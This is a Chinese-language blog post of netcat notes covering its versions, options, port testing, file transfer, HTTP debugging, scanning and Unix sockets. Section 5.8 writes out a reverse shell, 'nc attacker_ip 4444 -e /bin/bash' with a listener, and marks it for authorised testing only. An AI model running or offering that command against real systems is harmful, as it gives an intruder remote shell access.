nc (netcat) 筆記

Posted by Adam on August 24, 2022
# nc (netcat) 筆記 ## 1. 簡介 `nc`(netcat)是歷史悠久的網路瑞士刀工具,最早由 *Hobbit* 於 1995 年釋出,用來讀寫 TCP/UDP 連線的資料,概念上等同「讓網路連線也能像檔案一樣用 stdin/stdout 操作」。因為簡單、無所不在(幾乎每個 Linux/BSD/macOS 都內建某個版本),長期被當作系統管理、除錯、簡易傳輸的標配工具。 **重要提醒**:`nc` 不是單一實作,而是有多個互不相容的版本,選項語意常常不一樣,這是使用 `nc` 最容易踩坑的地方。 ## 2. 主要版本與差異 | 版本 | 常見於 | 特色 | |---|---|---| | **原版 / Hobbit netcat** | 較舊系統 | 最初版本,功能最陽春 | | **GNU netcat (netcat-openbsd 之前的 GNU 版)** | 部分 Linux 發行版 | 選項與 BSD 版有差異 | | **OpenBSD netcat(`netcat-openbsd`)** | Debian/Ubuntu 預設 `nc` | 拿掉了 `-e`(執行指令)選項,理由是安全考量;支援 `-z`(掃描模式)、Unix socket | | **Nmap ncat** | 另外安裝 `nmap`/`ncat` 套件 | 見前一份 ncat 筆記,功能最完整 | | **busybox nc** | 嵌入式系統、Alpine、容器 minimal image | 極簡版,選項最少,行為和前幾種都不完全一樣 | 實務上遇到 `nc: invalid option` 這類錯誤,第一步通常是先確認 `nc -h` 或 `man nc` 看當下是哪個版本,而不是死背選項。 判斷版本的小技巧: ```bash nc -h 2>&1 | head -1 # 有些版本會印出版本字串 readlink -f $(which nc) # 看實際指向哪個實作,例如 /bin/nc.openbsd ``` ## 3. 基本語法 ```bash nc [選項] 主機 埠號 # client 模式 nc -l [選項] 埠號 # server/監聽模式(部分版本 -l 後面不需再接埠號,用 -p 指定) ``` ## 4. 常見選項(以 OpenBSD netcat 為主,其他版本可能不同) | 選項 | 說明 | |---|---| | `-l` | 監聽模式(server) | | `-p <port>` | 指定本地埠(某些版本監聽模式下埠號直接接在 `-l` 後面,不需要 `-p`) | | `-u` | UDP 模式(預設 TCP) | | `-v` | 顯示詳細資訊,可疊加 `-vv` | | `-z` | Zero-I/O 模式,只做連線測試不傳資料,常用於 port scan | | `-w <秒>` | 逾時設定 | | `-k` | 監聽時允許多個連線依序進來(部分版本才有,行為與 ncat 的 `-k` 類似) | | `-n` | 不做 DNS 反解析,加速連線 | | `-4 / -6` | 強制使用 IPv4 / IPv6 | | `-e <cmd>` | 連線後執行指令(**OpenBSD 版預設拿掉**,需要編譯時加參數或改用其他版本) | | `-c <cmd>` | 部分版本(如某些 GNU 變種)用來代替 `-e`,透過 `/bin/sh -c` 執行 | | `-U` | 使用 Unix domain socket(OpenBSD 版支援) | ## 5. 常見使用情境 ### 5.1 Port 連通測試(最常見用法) ```bash nc -zv example.com 443 ``` - `-z`:不送資料,只測試能否建立連線 - `-v`:印出結果,成功/失敗一目了然 批次掃一段 port range: ```bash nc -zv example.com 20-25 ``` ### 5.2 簡易傳檔 server(接收端): ```bash nc -l 9000 > received_file.tar.gz ``` client(傳送端): ```bash nc 192.168.1.10 9000 < myfile.tar.gz ``` - 沒有進度條、沒有斷點續傳、沒有校驗,適合臨時內網小檔案傳輸 - 傳完後 server 端多數版本會自動結束(除非有 `-k`) ### 5.3 簡易 chat ```bash # 端 A nc -l 9000 # 端 B nc <A的IP> 9000 ``` 雙方打字互傳,`Ctrl+C` 結束。 ### 5.4 當作簡易 HTTP client 除錯 ```bash printf 'GET / HTTP/1.0\r\n\r\n' | nc example.com 80 ``` 可以直接看到 raw HTTP response,不需要裝 curl,適合快速確認 server 有沒有回應。 ### 5.5 Port scan(`-z` + range) ```bash nc -zv -w 1 192.168.1.1 1-1024 ``` `-w 1` 讓每個 port 逾時縮短,加快掃描速度;但正式的 port scan 建議還是用 `nmap`,`nc` 只適合臨時看幾個 port。 ### 5.6 UDP 測試 ```bash nc -u -l 5000 # server nc -u 192.168.1.10 5000 # client ``` UDP 是無連線協定,`nc` 沒辦法保證真的送達,只能確認封包送出。 ### 5.7 Unix Domain Socket(OpenBSD 版) ```bash nc -lU /tmp/mysock.sock # server nc -U /tmp/mysock.sock # client ``` 常用來測試本機服務(像資料庫、docker daemon)暴露的 unix socket 是否正常。 ### 5.8 Reverse shell(僅限授權測試環境) 在支援 `-e` 的版本(例如某些 GNU/busybox 版): ```bash # 攻擊者端監聽 nc -lvp 4444 # 目標端連回並給出 shell(僅限自己授權的滲透測試/CTF環境) nc attacker_ip 4444 -e /bin/bash ``` > OpenBSD 版拿掉 `-e` 就是為了防止這種用法被濫用。**這類操作只能在你擁有授權的測試環境中使用**,正式系統上不應該有服務允許外部連線後執行指令。 ## 6. nc 與 ncat 的取捨(延續前一份筆記) | 需求 | 建議 | |---|---| | 系統內建、開機就有,臨時測連通 | `nc` 足夠 | | 需要 TLS 加密連線測試 | 改用 `ncat --ssl` | | 需要走 HTTP/SOCKS proxy | 改用 `ncat --proxy` | | 需要多 client broker/聊天室 | 改用 `ncat --broker` | | 寫進 script 要跨平台(Linux/macOS/Alpine)行為一致 | 優先用 `ncat`,`nc` 各版本差異太大會踩坑 | | Docker minimal image 裡臨時 debug port | `busybox nc -zv host port` 通常已經夠用 | ## 7. 除錯注意事項 - 不同版本的 `-l` 語意不同:有些版本 `-l port`,有些要 `-l -p port`,寫 script 時盡量兩種都相容,或直接判斷版本 - `-w` 逾時在部分版本只影響 connect,不影響 idle 連線,行為要實測確認 - Zero-I/O(`-z`)搭配 UDP 時不一定可靠,因為 UDP 沒有 handshake,收不到 ICMP unreachable 時可能誤判為「開放」 - 容器內常見的是 busybox 版,選項比想像中少很多,遇到「unrecognized option」很正常,先看 `nc -h` ## 8. 快速備忘(Cheat Sheet) ```bash # 測連通(單一 port) nc -zv host port # 測連通(port range) nc -zv host 20-25 # 開一個簡易 server nc -l port # 傳檔(收) nc -l port > out.file # 傳檔(送) nc host port < in.file # UDP nc -u -l port nc -u host port # Unix domain socket(OpenBSD 版) nc -lU /path/to.sock nc -U /path/to.sock # 確認目前是哪個 nc 實作 readlink -f $(which nc) ```